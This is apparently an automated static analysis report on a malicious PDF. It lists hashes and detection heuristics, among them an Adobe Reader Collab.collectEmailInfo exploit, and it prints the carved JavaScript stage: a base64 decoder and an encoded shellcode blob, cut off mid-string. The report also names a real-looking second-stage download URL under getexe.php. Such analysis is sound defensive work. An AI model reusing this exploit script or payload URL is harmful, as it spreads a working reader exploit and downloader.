Malicious PDF — malware analysis report

Static analysis result for SHA-256 2240e95be86a90aa…

MALICIOUS

PDF

3.0 KB First seen: 2013-04-17
MD5: 37b6a4c084ccf3fe398ffa691a84fa03 SHA-1: c6cd103f0df80bdadd9a54c223ddbdb0cc62627e SHA-256: 2240e95be86a90aa0b8109dd534c40ecdb69d4b66193421dd43c0da0dcbf3941
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The ML_NYX_PDF_MALICIOUS rule fired with a score of 0.999975. The embedded JavaScript file, 'javascript_obj0009_000.js', is likely responsible for downloading and executing a second-stage payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://herosima1yet00g.cn/myexp2/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 21273 bytes
SHA-256: cec6d049733345f75758a4f9204df8b4bf8884a60cab3e7db97955278854fa41
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("CiB2YXIgV2ZzZnYzU0REcCA9IG5ldyBBcnJheSgpOwogdmFyIEV1b3hudTAzMjM7CiB2YXIgbGF2ZSA9IGV2YWw7CiAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTQzJTRhJTQ5JTc2JTYzJTQ2JTUyJTZhJTQzJTMyJTI4JTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTJjJTIwJTU3JTQ4JTM3JTY1JTQ1JTc1JTVhJTRlJTc3JTYyJTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTIwJTNjJTIwJTU3JTQ4JTM3JTY1JTQ1JTc1JTVhJTRlJTc3JTYyJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTIwJTJiJTNkJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTIwJTNkJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTJlJTczJTc1JTYyJTczJTc0JTcyJTY5JTZlJTY3JTI4JTMwJTJjJTIwJTU3JTQ4JTM3JTY1JTQ1JTc1JTVhJTRlJTc3JTYyJTIwJTJmJTIwJTMyJTI5JTNiJTIwJTIwJTIwJTIwJTcyJTY1JTc0JTc1JTcyJTZlJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTNiJTIwJTIwJTdkJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTU2JTMyJTc1JTZhJTc3JTU3JTc5JTRmJTQ3JTQyJTI4JTU4JTRhJTM1JTM4JTQ3JTYzJTZiJTQ2JTY0JTYxJTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTU4JTRhJTM1JTM4JTQ3JTYzJTZiJTQ2JTY0JTYxJTIwJTNkJTNkJTIwJTMwJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUxJTU1JTczJTVhJTM5JTM3JTU0JTY5JTU1JTUxJTIwJTNkJTIwJTMwJTc4JTMwJTYzJTMwJTYzJTMwJTYzJTMwJTYzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTcwJTc1JTUyJTQ0JTY0JTRmJTZiJTYzJTZlJTMxJTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTM4JTMyJTQ2JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTMzJTM2JTQ2JTI1JTc1JTM2JTQ0JTM2JTM5JTI1JTc1JTMzJTMxJTM2JTMxJTI1JTc1JTM2JTM1JTM3JTM5JTI1JTc1JTMzJTMwJTM3JTM0JTI1JTc1JTM2JTM3JTMzJTMwJTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTMyJTQ2JTM2JTQ1JTI1JTc1JTM3JTM5JTM2JTQ0JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMzJTMyJTM3JTMwJTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTU4JTRhJTM1JTM4JTQ3JTYzJTZiJTQ2JTY0JTYxJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTUxJTU1JTczJTVhJTM5JTM3JTU0JTY5JTU1JTUxJTIwJTNkJTIwJTMwJTc4JTMzJTMwJTMzJTMwJTMzJTMwJTMzJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTcwJTc1JTUyJTQ0JTY0JTRmJTZiJTYzJTZlJTMxJTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTM4JTMyJTQ2JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTMzJTM2JTQ2JTI1JTc1JTM2JTQ0JTM2JTM5JTI1JTc1JTMzJTMxJTM2JTMxJTI1JTc1JTM2JTM1JTM3JTM5JTI1JTc1JTMzJTMwJTM3JTM0JTI1JTc1JTM2JTM3JTMzJTMwJTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTMyJTQ2JTM2JTQ1JTI1JTc1JTM3JTM5JTM2JTQ0JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMzJTMyJTM3JTMwJTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTU4JTRhJTM1JTM4JTQ3JTYzJTZiJTQ2JTY0JTYxJTIwJTNkJTNkJTIwJTMyJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTcwJTc1JTUyJTQ0JTY0JTRmJTZiJTYzJTZlJTMxJTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTM4JTMyJTQ2JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTMzJTM2JTQ2JTI1JTc1JTM2JTQ0JTM2JTM5JTI1JTc1JTMzJTMxJTM2JTMxJTI1JTc1JTM2JTM1JTM3JTM5JTI1JTc1JTMzJTMwJTM3JTM0JTI1JTc1JTM2JTM3JTMzJTMwJTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTMyJTQ2JTM2JTQ1JTI1JTc1JTM3JTM5JTM2JTQ0JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMzJTMyJTM3JTMwJTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZhJTQ0JTRiJTcyJTRiJTY